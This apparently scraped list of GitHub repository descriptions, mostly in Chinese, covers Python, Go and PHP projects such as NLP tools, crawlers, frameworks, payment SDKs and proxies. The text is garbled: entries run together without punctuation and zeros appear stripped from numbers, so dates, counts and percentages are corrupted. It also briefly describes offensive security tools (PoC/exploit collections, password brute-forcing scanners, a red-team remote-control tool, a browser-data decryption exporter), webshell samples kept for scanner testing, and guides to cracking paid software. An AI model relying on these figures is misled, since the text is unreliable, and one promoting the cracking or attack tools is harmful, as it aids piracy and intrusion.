python人工智能大数据自动化接口测试开发 书籍下载及python库汇总china testing github io 2 19新型冠状病毒疫情时间序列数据仓库Python 黑魔法手册单阶段通用目标检测器一个拍照做题程序 输入一张包含数学计算题的图片 输出识别出的数学计算式以及计算结果 video download B站视频下载中文命名实体识别 TensorFlow Python 中文数据结构和算法教程 验证码识别 训练Python爬虫实战 模拟登陆各大网站 包含但不限于 滑块验证 拼多多 美团 百度 bilibili 大众点评 淘宝 如果喜欢请start ️学无止下载器 慕课下载器 Mooc下载 慕课网下载 中国大学下载 爱课程下载 网易云课堂下载 学堂在线下载 超星学习通下载 支持视频 课件同时下载一个高级web目录 文件扫描工具 功能将会强于DirBuster Dirsearch cansina 御剑 搜索所有中文NLP数据集 附常用英文NLP数据集中文实体识别与关系提取2 19新型冠状病毒疫情实时爬虫及github release archive以及项目文件的加速项目安卓应用安全学习抓取大量免费代理 ip 提取有效 ip 使用RoBERTa中文预训练模型 RoBERTa for Chinese 用于训练中英文对话系统的语料库敏感词过滤的几种实现 某1w词敏感词库简单易用的Python爬虫框架 QQ交流群 59751 56 使用Bert ERNIE 进行中文文本分类为 CSAPP 视频课程提供字幕 翻译 PPT Lab PyTorch 官方中文教程包含 6 分钟快速入门教程 强化教程 计算机视觉 自然语言处理 生成对抗网络 强化学习 欢迎 Star Fork 兜哥出品 <一本开源的NLP入门书籍 图像翻译 条件GAN AI绘画用Resnet1 1 GPT搭建一个玩王者荣耀的AI各种漏洞poc Exp的收集或编写斗地主AIVulmap 是一款 web 漏洞扫描和验证工具 可对 webapps 进行漏洞扫描 并且具备漏洞验证功能提供超過 5 個金融資料 台股為主 每天更新 finmind github io 数据接口 百度 谷歌 头条 微博指数 宏观数据 利率数据 货币汇率 千里马 独角兽公司 新闻联播文字稿 影视票房数据 高校名单 疫情数据 PyOne 一款给力的onedrive文件管理 分享程序 使用开发的用于迅速搭建并使用 WebHook 进行自动化部署和运维 支持 Github GitLab Gogs GitOsc 跟我一起写Makefile重制版 python自动化运维 技术与最佳实践 书中示例及案例源码自然语言处理实验 sougou数据集 TF IDF 文本分类 聚类 词向量 情感识别 关系抽取等微信公众平台 Python 开发包 DEPRECATED Weblogic一键漏洞检测工具 V1 5 更新时间 2 2 73 完备优雅的微信公众号接口 原生支持同步 协程使用 本程序旨在为安全应急响应人员对Linux主机排查时提供便利 实现主机侧Checklist的自动全面化检测 根据检测结果自动数据聚合 进行黑客攻击路径溯源 PyCharm 中文指南 安装 破解 效率 技巧类似按键精灵的鼠标键盘录制和自动化操作 模拟点击和键入GPT2 for Chinese chitchat 用于中文闲聊的GPT2模型 实现了DialoGPT的MMI思想 中华人民共和国国家标准 GB T 226 行政区划代码基于python的量化交易平台中文语音识别基于 OneBot 标准的 Python 异步 QQ 机器人框架Real World Masked Face Dataset 口罩人脸数据集 Vulfocus 是一个漏洞集成平台 将漏洞环境 docker 镜像 放入即可使用 开箱即用 谷歌 百度 必应图片下载 基于方面的情感分析 使用PyTorch实现 深度学习与计算机视觉 配套代码ART环境下自动化脱壳方案利用网络上公开的数据构建一个小型的证券知识图谱 知识库中文资源精选 官方网站 安装教程 入门教程 视频教程 实战项目 学习路径 QQ群 167122861 公众号 磐创AI 微信群二维码 www tensorflownews com Pre Trained Chinese XLNet 中文XLNet预训练模型 新浪微博Python SDK有关burpsuite的插件 非商店 文章以及使用技巧的收集 此项目不再提供burpsuite破解文件 如需要请在博客mrxn net下载Python3编写的CMS漏洞检测框架基于django的工作流引擎 工单 ️ 哔哩云 不支持任意文件的全速上传与下载微信SDK 包括微信支付 微信公众号 微信登陆 微信消息处理等中文自然语言理解堡垒机 云桌面自动化运维 审计 录像 文件管理 sftp上传 实时监控 录像回放 网页版rz sz上传下载 动态口令 django转换中国知网 CAJ 格式文献为 PDF 佛系转换 成功与否 皆是玄学 HanLP作者的新书 自然语言处理入门 详细笔记 业界良心之作 书中不是枯燥无味的公式罗列 而是用白话阐述的通俗易懂的算法模型 从基本概念出发 逐步介绍中文分词 词性标注 命名实体识别 信息抽取 文本聚类 文本分类 句法分析这几个热门问题的算法原理与工程实现 Python3 网络爬虫实战 部分含详细教程 猫眼 腾讯视频 豆瓣 研招网 微博 笔趣阁小说 百度热点 B站 CSDN 网易云阅读 阿里文学 百度股票 今日头条 微信公众号 网易云音乐 拉勾 有道 unsplash 实习僧 汽车之家 英雄联盟盒子 大众点评 链家 LPL赛程 台风 梦幻西游 阴阳师藏宝阁 天气 牛客网 百度文库 睡前故事 知乎 Wish微信公众号文章的爬虫 Python Web开发实战 书中源码一直可用的GoAgent 会定时扫描可用的google gae ip 提供可自动化获取ip运行的版本层剪枝 通道剪枝 知识蒸馏 中文命名实体识别 包括多种模型 HMM CRF BiLSTM BiLSTM CRF的具体实现 The Way to Go 中文译本 中文正式名 Go 入门指南 谢谢 Solutions to LeetCode by Go 1 % test coverage runtime beats 1 % LeetCode 题解一款轻量级 高性能 功能强大的内网穿透代理服务器 支持tcp udp socks5 http等几乎所有流量转发 可用来访问内网网站 本地支付接口调试 ssh访问 远程桌面 内网dns解析 内网socks5代理等等 并带有功能强大的web管理端 Go语言高级编程 开源图书 涵盖CGO Go汇编语言 RPC实现 Protobuf插件实现 Web框架实现 分布式系统等高阶主题 完稿 是一个跨平台的强加密无特征的代理软件 零配置 算法模板 最科学的刷题方式 最快速的刷题路径 你值得拥有 百度网盘不限速客户端 golang qt5 跨平台图形界面是golang实现的高性能http https websocket tcp socks5代理服务器 支持内网穿透 链式代理 通讯加密 夜读 通过 bilibili 在线直播的方式分享 Go 相关的技术话题 每天大家在微信 telegram Slack 上及时沟通交流编程技术话题 支持多家云存储的云盘系统 这里是写博客的地方 Halfrost Field 冰霜之地Lantern官方版本下载 蓝灯 翻墙 代理 科学上网 外网 加速器 梯子 路由基于gin vue搭建的后台管理系统框架 集成jwt鉴权 权限管理 动态路由 分页封装 多点登录拦截 资源权限 上传下载 代码生成器 表单生成器 通用工作流等基础功能 五分钟一套CURD前后端代码 目VUE3版本正在重构 欢迎issue和pr 分布式爬虫管理平台 支持任何语言和框架Golang标准库 对于程序员而言 标准库与语言本身同样重要 它好比一个百宝箱 能为各种常见的任务提供完美的解决方案 以示例驱动的方式讲解Golang的标准库 天用Go动手写 从零实现系列是一个高性能且低损耗的 goroutine 池 有 有 设计模式 Golang实现 研磨设计模式 读书笔记Golang实现的基于beego框架的接口在线文档管理系统高性能开源RTSP流媒体服务器 基于go语言研发 维护和优化 RTSP推模式转发 RTSP拉模式转发 是一个高性能 轻量级 非阻塞的事件驱动 Go 网络框架 基于Gin Vue Element UI的前后端分离权限管理系统脚手架 包含了 多租户的支持 基础用户管理功能 jwt鉴权 代码生成器 RBAC资源控制 表单构建 定时任务等 3分钟构建自己的中后台项目 文档蓝鲸智云配置平台 BlueKing CMDB 今日热榜 一个获取各大热门网站热门头条的聚合网站 使用Go语言编写 多协程异步快速抓取信息 预览 mo fish一条命令离线安装高可用kubernetes 3min装完 7 M 1 年证书 生产环境稳如老狗阿里巴巴开源的一款简单易用 功能强大的混沌实验注入工具 Go语言四十二章经 详细讲述Go语言规范与语法细节及开发中常见的误区 通过研读标准库等经典代码设计模式 启发读者深刻理解Go语言的核心思维 进入Go语言开发的更高阶段 ️一个轻巧的网络混淆代理 基于Golang轻量级TCP并发服务器框架定时任务管理系统KubeOperator 是一个开源的轻量级 Kubernetes 发行版 专注于帮助企业规划 部署和运营生产级别的 K8s 集群 本系统是集工单统计 任务钩子 权限管理 灵活配置流程与模版等等于一身的开源工单系统 当然也可以称之为工作流引擎 致力于减少跨部门之间的沟通 自动任务的执行 提升工作效率与工作质量 减少不必要的工作量与人为出错率 Go实现的Trojan代理 支持多路复用 路由功能 CDN中转 Shadowsocks混淆插件 多平台 无依赖 Go语法树入门 开启自制编程语言和编译器之旅 开源免费图书 Go语言进阶 掌握抽象语法树 Go语言AST 凹语言 一款可全平台运行的浏览器数据导出解密工具 Golang相关 审稿进度8 % Go语法 Go并发思想 Go与web开发 Go微服务设施等Jupiter是斗鱼开源的面向服务治理的Golang微服务框架Elasticsearch 可视化DashBoard 支持Es监控 实时搜索 Index template快捷替换修改 索引列表信息查看 SQL converts to DSL等 从问题切入 串连 Go 语言相关的所有知识 融会贯通 golang design go questionsWeChat SDK for Go 微信SDK 简单 易用 go fastdfs 是一个简单的分布式文件系统 私有云存储 具有无中心 高性能 高可靠 免维护等优点 支持断点续传 分块上传 小文件合并 自动同步 自动修复 Mastering GO 中文译本 玩转 GO 云原生且易用的应用管理平台 Go Web 基础 是一套针对 Google 出品的 Go 语言的视频语音教程 主要面向完成 Go 编程基础 教程后希望进一步了解有关 Go Web 开发的学习者 中文名 悟空 API 网关 是一个基于 Golang开发的微服务网关 能够实现高性能 HTTP API 转发 服务编排 多租户管理 API 访问权限控制等目的 拥有强大的自定义插件系统可以自行扩展 并且提供友好的图形化配置界面 能够快速帮助企业进行 API 服务治理 提高 API 服务的稳定性和安全性 集合多家 API 的新一代图床MIT课程 Distributed Systems 学习和翻译Go语言圣经中文版 只接收PR Issue请提交到golang china gopl zh trojan多用户管理部署程序 支持web页面管理BookStack 基于MinDoc 使用Beego开发的在线文档管理系统 功能类似Gitbook和看云 weixin wechat 微信公众平台 微信企业号 微信商户平台 微信支付 go golang sdk 蓝眼云盘 Eyeblue Cloud Storage 语言高性能编程 Go 语言陷阱 Gotchas Traps 使用 XMind 记录 Linux 操作系统 网络 C Golang 以及数据库的一些设计cqhttp的golang实现 轻量 原生跨平台 mqant是一款基于Golang语言的简洁 高效 高性能的分布式微服务框架基于react node js go开发的微商城 含微信小程序 MM Wiki 一个轻量级的企业知识分享与团队协同软件 可用于快速构建企业 Wiki 和团队知识分享平台 部署方便 使用简单 帮助团队构建一个信息共享 文档管理的协作环境 Go 语言中文网 Golang中文社区 Go语言学习园地 源码基于 Gin 进行模块化设计的 API 框架 封装了常用功能 使用简单 致力于进行快速的业务研发 比如 支持 cors 跨域 jwt 签名验证 zap 日志收集 panic 异常捕获 trace 链路追踪 prometheus 监控指标 swagger 文档生成 viper 配置文件解析 gorm 数据库组件 gormgen 代码生成工具 graphql 查询语言 errno 统一定义错误码 gRPC 的使用 等等 syncd是一款开源的代码部署工具 它具有简单 高效 易用等特点 可以提高团队的工作效率 一款由 YSRC 开源的主机入侵检测系统golang面试题集合这是一个可以识别视频语音自动生成字幕SRT文件的开源 Windows GUI 软件工具 一款内网综合扫描工具 方便一键自动化 全方位漏扫扫描 是一个用于在两个redis之间同步数据的工具 满足用户非常灵活的同步 迁移需求 Overlord是哔哩哔哩基于Go语言编写的memcache和redis cluster的代理及集群管理功能 致力于提供自动化高可用的缓存服务解决方案 Stack RPC 中文示例 教程 资料 源码解读ICMP流量伪装转发工具Freedom是一个基于六边形架构的框架 可以支撑充血的领域模型范式 Go2编程指南 开源图书 重点讲解Go2新特性 以及Go1教程中较少涉及的特性语言高性能分词golang写的IM服务器 服务组件形式 结巴 中文分词的Golang版本xorm是一个简单而强大的Go语言ORM库 通过它可以使数据库操作非常简便 本库是基于原版xorm的定制增强版本 为xorm提供类似ibatis的配置文件及动态SQL支持 支持AcitveRecord操作一个 Go 语言实现的快速 稳定 内嵌的 k v 数据库 高性能表格数据导出器基于Golang的开源社区系统 版本网易云音乐ncm文件格式转换 go 实现的压测工具 ab locust Jmeter压测工具介绍 单台机器1 w连接压测实战 抓包截取项目中的数据库请求并解析成相应的语句 Go专家编程 Go语言快速入门 轻松进阶 <<自己动手写docker 源码Go 每日一库kunpeng是一个Golang编写的开源POC框架 库 以动态链接库的形式提供各种语言调用 通过此项目可快速开发漏洞检测类的系统 vue js element框架 golang beego框架 开发的运维发布系统 支持git jenkins版本发布 go ssh BT两种文件传输方式选择 支持部署前准备任务和部署后任务钩子函数 Go 从入门到实战 学习笔记 从零开始学 Go Gin 框架 基本语法包括 26 个Demo Gin 框架包括 Gin 自定义路由配置 Gin 使用 Logrus 进行日志记录 Gin 数据绑定和验证 Gin 自定义错误处理 Go gRPC Hello World 持续更新中 Go 学习之路 Go 开发者博客 Go 微信公众号 Go 学习资料 文档 书籍 视频 微信 WeChat 支付宝 AliPay 的Go版本SDK 极简 易用的聚合支付SDK Go by Example 通过例子学 GolangPPGo Job是一款可视化的 多人多权限的 一任务多机执行的定时任务管理系统 采用golang开发 安装方便 资源消耗少 支持大并发 可同时管理多台服务器上的定时任务 Golang实现的IP代理池是一款用Go语言开发的web应用框架 API特性类似于Tornado并且拥有比Tornado更好的性能 自己动手写Java虚拟机 随书源代码支付宝 AliPay SDK for Go 集成简单 功能完善 持续更新 支持公钥证书和普通公钥进行签名和验签 ARCHIVED Geph 迷霧通帮助你将本地端口暴露在外网 支持TCP UDP 当然也支持HTTP 深入Go并发编程研讨课无状态子域名爆破工具手机号码归属地信息库 手机号归属地查询 phone dat 最后更新 2 21年 6月 golang基于websocket单台机器支持百万连接分布式聊天 IM 系统基于mongodb oplog的集群复制工具 可以满足迁移和同步的需求 进一步实现灾备和多活功能 Gin Gorm开发Golang API快速开发脚手架简单可信赖的任务管理工具Go语言实例教程从入门到进阶 包括基础库使用 设计模式 面试易错点 工具类 对接第三方等授权框架简体中文翻译 自动抓取tg频道 订阅地址 公开互联网上的ss ssr vmess trojan节点信息 聚合去重后提供节点列表轻量级 go 业务框架 哪吒监控 一站式轻监控轻运维系统 支持系统状态 TCP Ping 监控报警 命令批量执行和计划任务 Go 语言官方教程中文版工程师知识管理系统 基于golang go语言 beego框架 每个行业都有自己的知识管理系统 engineercms旨在为土木工程师们打造一款适用的基于web的知识管理系统 它既可以用于管理个人的项目资料 也可以用于管理项目团队资料 它既可以运行于个人电脑 也可以放到服务器上 支持提取码分享文件 onlyoffice实时文档协作 直接在线编辑dwg文件 office文档 在线利用mindoc创作你的书籍 阅览PDF文件 通用的业务流程设置 手机端配套小程序 微信搜索“珠三角设代”或“青少儿书画”即可呼出小程序 边界打点后的自动化渗透工具一个集审核 执行 备份及生成回滚语句于一身的MySQL运维工具汉字转拼音 Go资源精选中文版 含中文图书大全 语言实现的 Redis 服务器和分布式集群 超全golang面试题合集 golang学习指南 golang知识图谱 入门成长路线 一份涵盖大部分golang程序员所需要掌握的核心知识 常用第三方库 mysql mq es redis等 机器学习库 算法库 游戏库 开源框架 自然语言处理nlp库 网络库 视频库 微服务框架 视频教程 音频音乐库 图形图片库 物联网库 地理位置信息 嵌入式脚本库 编译器库 数据库 金融库 电子邮件库 电子书籍 分词 数据结构 设计模式 去html tag标签等 go学习 go面试go语言扩展包 收集一些常用的操作函数 辅助更快的完成开发工作 并减少重复代码百灵快传 基于Go语言的高性能 手机电脑超大文件传输神器 局域网共享文件服务器 LAN large file transfer tool 一个基于云存储的网盘系统 用于自建私人网盘或企业网盘 go分布式服务器 基于内存mmo个人博客微信小程序服务端 SDK for Golang 控制台颜色渲染工具库 支持16色 256色 RGB色彩渲染输出 使用类似于 Print Sprintf 兼容并支持 Windows 环境的色彩渲染基于 IoC 的 Go 后端一站式开发框架 v2ray web manager 是一个v2ray的面板 也是一个集群的解决方案 同时增加了流量控制 账号管理 限速等功能 key admin panel web cluster 集群 proxyServerScan一款使用Golang开发的高并发网络扫描 服务探测工具 是http client领域的瑞士军刀 小巧 强大 犀利 具体用法可看文档 如使用迷惑或者API用得不爽都可提issuesTcpRoute TCP 层的路由器 对于 TCP 连接自动从多个线路 电信 联通 移动 多个域名解析结果中选择最优线路 Bifrost 面向生产环境的 MySQL 同步到Redis MongoDB ClickHouse MySQL等服务的异构中间件应用网关 提供快速 安全的应用交付 身份认证 WAF CC HTTPS以及ACME自动证书 A telegram bot for rss reader 一个支持应用内阅读的 Telegram RSS Bot RESTful API 文档生成工具 支持和 Ruby 等大部分语言 基于gin gorm开发的个人博客项目基于Go语言的国密SM2 SM3 SM4算法库 Golang 设计模式一个阿里云盘列表程序 一款小巧的基于Go构建的开发框架 可以快速构建API服务或者Web网站进行业务开发 遵循SOLID设计原则并发编程实战 第2版 Go 学习 Go 进阶 Go 实用工具类 Go kit Go Micro 微服务实践 Go 推送基于DDD的o2o的业务模型及基础 使用Golang gRPC Thrift实现Sharingan 写轮眼 是一个基于golang的流量录制回放工具 适合项目重构 回归测试等 百度云网盘爬虫基于beego的进销存系统 TeaWeb 可视化的Web代理服务 DEMO teaos cn 白帽子安全开发实战 配套代码抖音推荐 搜索页视频列表视频爬虫方案 基于app 虚拟机或真机 相关技术 golang adb一款甲方资产巡航扫描系统 系统定位是发现资产 进行端口爆破 帮助企业更快发现弱口令问题 主要功能包括 资产探测 端口爆破 定时任务 管理后台识别 报表展示提供微信终端版本 微信命令行版本聊天功能 微信机器人 ️ 互联网最全大厂技术分享PPT 持续更新中 各大技术交流会 活动资料汇总 如 QCon 全球运维技术大会 GDG 全球技术领导力峰会 大前端大会 架构师峰会 敏捷开发DevOps OpenResty Elastic 欢迎 PR Issues日本麻将助手 牌效 防守 记牌 支持雀魂 天凤 开源客服系统GO语言开发GO FLY 免费客服系统一个查询IP地理信息和CDN服务提供商的离线终端工具 是一个用于系统重构 系统迁移和系统分析的瑞士军刀 它可以分析代码中的测试坏味道 模块化分析 行数统计 分析调用与依赖 Git 分析以及自动化重构等 一个直播录制工具Mastering Go 第二版中文版来袭 渗透测试情报收集工具分布式定时任务调度平台高度模块化 遵循 KISS原则的区块链开发框架golang版本的hangout 希望能省些内存 使用了自己写的Kafka lib 虚 不过我们在生产环境已经使用近1年 kafka 版本从 9 1到2 都在使用 目前情况稳定 吞吐量在每天2 亿条以上 Go 语言 Web 应用开发系列教程 从新手到双手残废iris 框架的后台api项目简单好用的DDNS 自动更新域名解析到公网IP 支持阿里云 腾讯云dnspod Cloudflare 华为云 自己动手实现Lua 随书源代码php直播go直播 短视频 直播带货 仿比心 猎游 tt语音聊天 美女约玩 陪玩系统源码开黑 约玩源码 社区开源 云原生的多云和混合云融合平台 Jiajun的编程随想Golang语言社区 腾讯课堂 网易云课堂 字节教育课程PPT及代码基于GF Go Frame 的后台管理系统带你了解一下Golang的市场行情mysql表结构自动同步工具 目前只支持字段 索引的同步 分区等高级功能暂不支持 基于Kubernetes的PaaS平台流媒体NetFlix解锁检测脚本稳定分支2 9 X 版本已更新 由 Golang语言游戏服务器 维护 全球服游戏服务器及区域服框架 目前协议支持websocket KCP TCP及RPC 采用状态同步 帧同步内测 愿景 打造MMO多人竞技游戏框架 功能持续更新中 基于 Golang 类似知乎的私有部署问答应用 包含问答 评论 点赞 管理后台等功能全新的开源漏洞测试框架 实现poc在线编辑 运行 批量测试 使用文档 XAPI MANAGER 专业实用的开源接口管理平台 为程序开发者提供一个灵活 方便 快捷的API管理工具 让API管理变的更加清晰 明朗 如果你觉得xApi对你有用的话 别忘了给我们点个赞哦 qq协议的golang实现 移植于miraigo版本极简工作流引擎全平台Go开源内网渗透扫描器框架 Windows Linux Mac内网渗透 使用它可轻松一键批量探测C段 B段 A段存活主机 高危漏洞检测MS17 1 SmbGhost 远程执行SSH Winrm 密码爆破端口扫描服务识别PortScan指纹识别多网卡主机 端口扫描服务识别PortScan iikira BaiduPCS Go原版基础上集成了分享链接 秒传链接转存功能 e签宝安全团队积累十几年的安全经验 都将对外逐步开放 首开的Ehoney欺骗防御系统 该系统是基于云原生的欺骗防御系统 也是业界唯一开源的对标商业系统的产品 欺骗防御系统通过部署高交互高仿真蜜罐及流量代理转发 再结合自研密签及诱饵 将攻击者攻击引导到蜜罐中达到扰乱引导以及延迟攻击的效果 可以很大程度上保护业务的安全 护网必备良药漂亮的Go语言通用后台管理框架 包含计划任务 MySQL管理 Redis管理 FTP管理 SSH管理 服务器管理 Caddy配置 云存储管理等功能 微信支付 WeChat Pay SDK for Golang用于监控系统的日志采集agent 可无缝对接open falcon阿里巴巴mysql数据库binlog的增量订阅 消费组件 Canal 的 go 客户端 github com alibaba canal 用于比较2个redis数据是否一致 支持单节点 主从 集群版 以及多种proxy 支持同构以及异构对比 redis的版本支持2 x 5 x 使用go micro微服务实现的在线电影院订票系统后端一站式微服务框架 提供API web websocket RPC 任务调度 消息消费服务器红蓝对抗跨平台远控工具Interchain protocol 跨链协议简单易用 足够轻量 性能好的 Golang 库一个go echo vue 开发的快速 简洁 美观 前后端分离的个人博客系统 blog 也可方便二次开发为CMS 内容管理系统 和各种企业门户网站 正在更新权限管理 hauth项目 不是一个前端or后台框架 而是一个集成权限管理 菜单资源管理 域管理 角色管理 用户管理 组织架构管理 操作日志管理等等的快速开发平台. hauth是一个基础产品 在这个基础产品上 根据业务需求 快速的开发应用服务.账号 admin 密码 123456通用的数据验证与过滤库 使用简单 内置大部分常用验证 过滤器 支持自定义验证器 自定义消息 字段翻译 CTF AWD Attack with Defense 线下赛平台 AWD platform 欢迎 Star 蓝鲸智云容器管理平台 BlueKing Container Service 程序员如何优雅的挣零花钱 2 版 升级为小书了 一个 PHP 微信 SDKAV 电影管理系统 avmoo javbus javlibrary 爬虫 线上 AV 影片图书馆 AV 磁力链接数据库ThinkPHP Framework 十年匠心的高性能PHP框架 最全的前端资源汇总仓库 包括前端学习 开发资源 求职面试等 多语言多货币多入口的开源电商 B2C 商城 支持移动端vue app html5 微信小程序微店 微信小程序商城等可能是我用过的最优雅的 Alipay 和 WeChat 的支付 SDK 扩展包了 基于词库的中文转拼音优质解决方案 我用爬虫一天时间“偷了”知乎一百万用户 只为证明PHP是世界上最好的语言 所使用的程序微信 SDK for Laravel 基于 overtrue wechat开源在线教育点播系统 一款满足你的多种发送需求的短信发送组件 基于 Laravel 的后台系统构建工具 Laravel Admin 使用很少的代码快速构建一个功能完善的高颜值后台系统 内置丰富的后台常用组件 开箱即用 让开发者告别冗杂的HTML代码一个想帮你总结所有类型的上传漏洞的靶场优雅的渐进式PHP采集框架 Laravel 电商实战教程的项目代码Payment是php版本的支付聚合第三方sdk 集成了微信支付 支付宝支付 招商一网通支付 提供统一的调用接口 方便快速接入各种支付 查询 退款 转账能力 服务端接入支付功能 方便 快捷 SPF Swoole PHP Framework 世界第一款基于Swoole扩展的PHP框架 开发者是Swoole创始人 A Wonderful WordPress Theme 樱花庄的白猫博客主题图床 此项目已弃用 基于 ThinkPHP 基础开发平台 登录账号密码都是 admin PanDownload网页复刻版一个开源的网址导航网站项目 您可以拿来制作自己的网址导航 使用PHP Swoole实现的网页即时聊天工具 独角数卡 发卡 开源式站长自动化售货解决方案 高效 稳定 快速 卡密商城系统 高效安全的在线卡密商城 ️命令行模式开发框架ShopXO免费开源商城系统 国内领先企业级B2C免费开源电商系统 包含PC h5 微信小程序 支付宝小程序 百度小程序 头条 抖音小程序 QQ小程序 APP 多商户 遵循MIT开源协议发布 基于 ThinkPHP5 1框架研发Wizard是一款开源的文档管理工具 支持Markdown Swagger Table类型的文档 Swoole MySQL Proxy 一个基于 MySQL 协议 Swoole 开发的MySQL数据库连接池 学习资源整合Freenom域名自动续期一个好玩的Web安全 漏洞测试平台一个基于Yii2高级框架的快速开发应用引擎蓝天采集器是一款免费的数据采集发布爬虫软件 采用php mysql开发 可部署在云服务器 几乎能采集所有类型的网页 无缝对接各类CMS建站程序 免登录实时发布数据 全自动无需人工干预 是网页大数据采集软件中完全跨平台的云端爬虫系统免费开源的中文搜索引擎 采用 C C 编写 基于 xapian 和 scws 提供 PHP 的开发接口和丰富文档WDScanner平台目前实现了如下功能 分布式web漏洞扫描 客户管理 漏洞定期扫描 子域名枚举 端口扫描 网站爬虫 暗链检测 坏链检测 网站指纹搜集 专项漏洞检测 代理搜集及部署等功能 ️兰空图床图标工场 移动应用图标生成工具 一键生成所有尺寸的应用图标和启动图 Argon 一个轻盈 简洁的 WordPress 主题Typecho Fans插件作品目录PHP代码审计分段讲解一个结构清晰的 易于维护的 现代的PHP Markdown解析器百度贴吧云签到 在服务器上配置好就无需进行任何操作便可以实现贴吧的全自动签到 配合插件使用还可实现云灌水 点赞 封禁 删帖 审查等功能 注意 Gitee 原Git osc 仓库将不再维护 目前唯一指定的仓库为 Github 本项目没有官方交流群 如需交流可以直接使用Github的Discussions 没有商业版本 目前贴吧云签到由社区共同维护 不会停止更新 PR 通常在一天内处理 微信调试 API调试和AJAX的调试的工具 能将日志通过WebSocket输出到Chrome浏览器的console中 結巴 中文分詞 做最好的 PHP 中文分詞 中文斷詞組件EleTeam开源项目 电商全套解决方案之PHP版 Shop for PHP Yii2 一个类似京东 天猫 淘宝的商城 有对应的APP支持 由EleTeam团队维护 RhaPHP是微信第三方管理平台 微信公众号管理系统 支持多公众号管理 CRM会员管理 小程序开发 APP接口开发 几乎集合微信功能 简洁 快速上手 快速开发微信各种各样应用 简洁 好用 快速 项目开发快几倍 群 656868 一刻社区后端 API 源码 新 微信服务号 微信小程序 微信支付 支付宝支付苹果cms v1 maccms v1 麦克cms 开源cms 内容管理系统 视频分享程序 分集剧情程序 网址导航程序 文章程序 漫画程序 图片程序一个PHP文件搞定支付宝支付系列 包括电脑网站支付 手机网站支付 现金红包 消费红包 扫码支付 JSAPI支付 单笔转账到支付宝账户 交易结算 分账 分润 网页授权获取用户信息等restful api风格接口 APP接口 APP接口权限 oauth2 接口版本管理 接口鉴权基于企业微信的开源SCRM应用开发框架 引擎 也是一套通用的企业私域流量管理系统 API接口大全不断更新中 欢迎Fork和Star 1 一言 古诗句版 api 2 必应每日一图api 3 在线ip查询 4 m3u8视频在线解析api 5 随机生成二次元图片api 6 快递查询api 支持国内百家快递 7 flv视频在线解析api 8 抖音视频无水印解析api 9 一句话随机图片api 1 QQ用户信息获取api 11 哔哩哔哩封面图获取api 12 千图网58pic无水印解析下载api 13 喜马拉雅主播FM数据采集api 14 网易云音乐api 15 CCTV央视网视频解析api 16 微信运动刷步数api 17 皮皮搞笑 基于swoole的定时器程序 支持秒级处理群 656868 ️ Saber PHP异步协程HTTP客户端微信支付单文件版 一个PHP文件搞定微信支付系列 包括原生支付 扫码支付 H5支付 公众号支付 现金红包 企业付款到零钱等 新增V3版 一个还不错的图床工具 支持Mac Win Linux服务器 支持压缩后上传 添加图片或文字水印 多文件同时上传 同时上传到多个云 右击任意文件上传 快捷键上传剪贴板截图 Web版上传 支持作为Mweb Typora发布图片接口 作为PicGo ShareX uPic等的自定义图床 支持在服务器上部署作为图床接口 支持上传任意格式文件 可能是我用过的最优雅的 Alipay 和 WeChat 的 laravel 支付扩展包了上传大文件的Laravel扩展包开发内功修炼Laravel核心代码学习南京邮电大学开源 Online Judge QQ群 6681 8264 免费IP地址数据库 已支持IPV4 IPV6 结构化输出为国家 省 市 县 运营商 中文数据库 方便实用 laravel5 5和vue js结合的前后端分离项目模板 后端使用了laravel的LTS版本 5 5 前端使用了流行的vue element template项目 作为程序的起点 可以直接以此为基础来进行业务扩展 模板内容包括基础的用户管理和权限管理 日志管理 集成第三方登录 整合laravel echo server 实现了websocket 做到了消息的实时推送 并在此基础上 实现了聊天室和客服功能 权限管理包括后端Token认证和前端vue js的动态权限 解决了前后端完整分离的情况下 vue js的认证与权限相关的痛点 已在本人的多个项目中集成使用 Web安全之机器学习入门 网易云音乐升级APIPHP 集成支付 SDK 集成了支付宝 微信支付的支付接口和其它相关接口的操作 支持 php fpm 和 Swoole 所有框架通用 宇润PHP全家桶技术支持群 17916227MDClub 社区系统后端代码imi 是基于 Swoole 的 PHP 协程开发框架 它支持 Http2 WebSocket TCP UDP MQTT 等主流协议的服务开发 特别适合互联网微服务 即时通讯聊天im 物联网等场景 QQ群 17916227WordPress 版 WebStack 导航主题 nav iowen cnLive2D 看板娘插件 www fghrsh net post 123 html 上使用的后端 API简单搜索 一个简单的前端界面 用惯了各种导航首页 满屏幕尽是各种不厌其烦的广告和资讯 尝试自己写个自己的主页 国内各大CTF赛题及writeup整理收集自网络各处的 webshell 样本 用于测试 webshell 扫描器检测率 PHP微信SDK 微信平台 微信支付 码小六 GitHub 代码泄露监控系统PHP表单生成器 快速生成现代化的form表单 支持前后端分离 内置复选框 单选框 输入框 下拉选择框 省市区三级联动 时间选择 日期选择 颜色选择 文件 图片上传等17种常用组件 悟空CRM 基于TP5 vue ElementUI的前后端分离CRM系统V免签PHP版 完全开源免费的个人免签约解决方案Composer 全量镜像发布于2 17年3月 曾不间断运行2年多 这个开源有助于理解 Composer 镜像的工作原理一个多彩 轻松上手 体验完善 具有强大自定义功能的WordPress主题 基于Sakura主题全球免费代理IP库 高可用IP 精心筛选优质IP 2s必达LaraCMS 是在学习 laravel web 开发实战进阶 实战构架 API 服务器 过程中产生的一个业余作品 试图通过简单的方式 快速构建一套基本的企业站同时保留很灵活的扩展能力和优雅的代码方式 当然这些都得益Laravel的优秀设计 同时LaraCMS 也是一个学习Laravel 不错的参考示例 已停止维护 HookPHP基于C扩展搭建内置AI编程的架构系统 支持微服务部署 热插拔业务组件 集成业务模型 权限模型 UI组件库 多模板 多平台 多域名 多终端 多语言 含常驻内存 前后分离 API平台 LUA QQ群 67911638 中华人民共和国居民身份证 中华人民共和国港澳居民居住证以及中华人民共和国台湾居民居住证号码验证工具 PHP 版 最简单的91porn爬虫php版本Fend 是一款短小精悍 可在 FPM Swoole 服务容器平滑切换的高性能PHP框架 no evil 实现过滤敏感词汇 基于确定有穷自动机 DFA 算法 支持composer安装扩展Z BlogPHP博客程序IYUU自动辅种工具 目前能对国内大部分的PT站点自动辅种 支持下载器集群 支持多盘位 支持多下载目录 支持远程连接等 果酱小店 基于 Laravel swoole 小程序的开源电商系统 优雅与性能兼顾 這是一份純靠北工程師的專案 請好好愛護它 謝謝 EC ecjia 到家是一款可开展O2O业务的移动电商系统 它包含 移动端APP 采用原生模式开发 覆盖使用iOS 及Android系统的移 动终端 后台系统 针对平台日常运营维护的平台后台 针对入驻店铺管理的商家后台 独立并行 移动端H5 能够灵活部署于微信及其他APP 网页等 Material Design 指南的中文翻译 一个纯php分词 thinkphp5 1 